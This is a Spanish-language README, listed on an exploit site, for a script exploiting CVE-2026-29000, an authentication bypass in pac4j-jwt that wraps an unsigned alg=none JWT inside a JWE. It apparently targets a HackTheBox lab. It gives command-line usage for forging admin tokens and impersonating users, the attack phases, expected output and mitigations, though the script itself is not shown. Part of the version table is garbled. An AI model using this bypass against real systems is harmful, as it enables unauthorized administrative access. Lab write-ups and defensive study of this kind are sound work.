Exploit for CVE-2026-29000

Name: Exploit for CVE-2026-29000
Rating: 5 (166 reviews)
2026-03-14 | CVSS 9.3
## https://sploitus.com/exploit?id=CFEDE88D-9F84-53D8-90AB-538EBE70BED6
# CVE-2026-29000 — pac4j-jwt PlainJWT-in-JWE Authentication Bypass

```
  ██████╗██╗   ██╗███████╗      ██████╗  ██████╗ ██████╗  ██████╗
 ██╔════╝██║   ██║██╔════╝     ╚════██╗██╔═████╗╚════██╗██╔════╝
 ██║     ██║   ██║█████╗        █████╔╝██║██╔██║ █████╔╝███████╗
 ██║     ╚██╗ ██╔╝██╔══╝       ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
 ╚██████╗ ╚████╔╝ ███████╗     ███████╗╚██████╔╝███████╗╚██████╔╝
  ╚═════╝  ╚═══╝  ╚══════╝     ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝
                                                    CVE-2026-29000
        pac4j-jwt PlainJWT-in-JWE Auth Bypass  |  CVSS 10.0
```

| Campo | Detalle |
|---|---|
| **CVE** | CVE-2026-29000 |
| **CVSS** | 10.0 — Critical |
| **Librería afectada** | `org.pac4j:pac4j-jwt` |
| **Versiones vulnerables** |  ─────►│
   │                          descifra JWE│
   │                    obtiene PlainJWT  │
   │                  ❌ NO verifica firma │
   │                    acepta claims     │
   │◄─ HTTP 200 OK + datos de admin ─────│
```

---

## Reconocimiento previo (lo que reveló el target)

### Headers HTTP del servidor
```
X-Powered-By: pac4j-jwt/6.0.3     ← versión vulnerable!
Server: Jetty
```

### JWKS expuesto en `/api/auth/jwks`
```json
{
  "keys": [{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "enc-key-1",
    "n": "lTh54vtBS1NAWrxAFU1NEZdr..."
  }]
}
```

### Información en `/app.js` (JavaScript del cliente)
```
Tokens: JWE con RSA-OAEP-256 + A128GCM
Inner JWT firmado con RS256
Issuer: "principal-platform"
Roles: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
Endpoints sensibles: /api/users, /api/settings
```

---

## Requisitos

```bash
pip install jwcrypto requests
```

---

## Uso del exploit

### Sintaxis
```bash
python3 cve_2026_29000_exploit.py --url http://: [opciones]
```

### Opciones

| Flag | Descripción | Default |
|---|---|---|
| `--url` | URL base del target | *(requerido)* |
| `--sub` | Claim `sub` (usuario a impersonar) | `admin` |
| `--role` | Rol a forjar | `ROLE_ADMIN` |
| `--jwks-live` | Obtener clave RSA del servidor en vivo | *(hardcodeada)* |
| `--proxy` | Routear tráfico por Burp Suite | — |
| `--no-verify` | Deshabilitar verificación SSL | — |

### Ejemplos

**Exploit básico:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080
```

**Con clave RSA obtenida en vivo del JWKS:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --jwks-live
```

**Impersonar usuario específico:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --sub john --role ROLE_ADMIN
```

**Ver tráfico en Burp Suite:**
```bash
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 \
    --proxy http://127.0.0.1:8080 --no-verify
```

---

## Qué hace el script paso a paso

### Fase 1 — Verificación de JWKS
Comprueba que el endpoint `/api/auth/jwks` es accesible y extrae la clave pública RSA del servidor.

### Fase 2 — Forja del token malicioso
1. Carga la clave pública RSA del JWKS
2. Construye un **PlainJWT** (`alg=none`) con los claims:
   ```json
   {
     "sub":  "admin",
     "role": "ROLE_ADMIN",
     "iss":  "principal-platform",
     "iat":  ,
     "exp":  
   }
   ```
3. Cifra el PlainJWT como **JWE** con `RSA-OAEP-256 + A128GCM`

### Fase 3 — Explotación
Usa el JWE como Bearer token y ataca los endpoints:
- `GET /api/dashboard`
- `GET /api/users`
- `GET /api/settings`

El script busca automáticamente flags con formato `HTB{...}` en las respuestas JSON.

---

## Salida esperada

```
  [+] Dashboard → HTTP 200 OK — ¡Acceso concedido!
  [+] Users     → HTTP 200 OK — ¡Acceso concedido!
  [+] Settings  → HTTP 200 OK — ¡Acceso concedido!

  ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
  ★  FLAG ENCONTRADA en Settings!
  ★  HTB{...}
  ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
```

---

## Mitigación (para defenders)

- Actualizar `pac4j-jwt` a **6.3.3+** (rama 6.x), **5.7.9+** o **4.5.9+**
- Rechazar explícitamente tokens con `alg=none` en el inner JWT
- No exponer el JWKS públicamente si la clave también se usa para cifrado de tokens

---

## Estructura del repositorio

```
CVE-2026-29000/
├── README.md                  ← Este archivo
└── cve_2026_29000_exploit.py  ← Script de explotación
```

---

## Referencias

- [NVD — CVE-2026-29000](https://nvd.nist.gov/vuln/detail/CVE-2026-29000)
- [GitHub Advisory — pac4j](https://github.com/pac4j/pac4j/security/advisories)
- [Snyk — pac4j-jwt vulnerability](https://security.snyk.io)
- [RFC 7516 — JSON Web Encryption (JWE)](https://www.rfc-editor.org/rfc/rfc7516)
- [RFC 7519 — JSON Web Token (JWT) — PlainJWT](https://www.rfc-editor.org/rfc/rfc7519)

---

> **Aviso legal:** Este exploit fue desarrollado con fines educativos y para uso en entornos de CTF/laboratorio autorizados. No usar contra sistemas sin autorización explícita.

---

**Autor:** Hurtcore - Fr4nZ!!!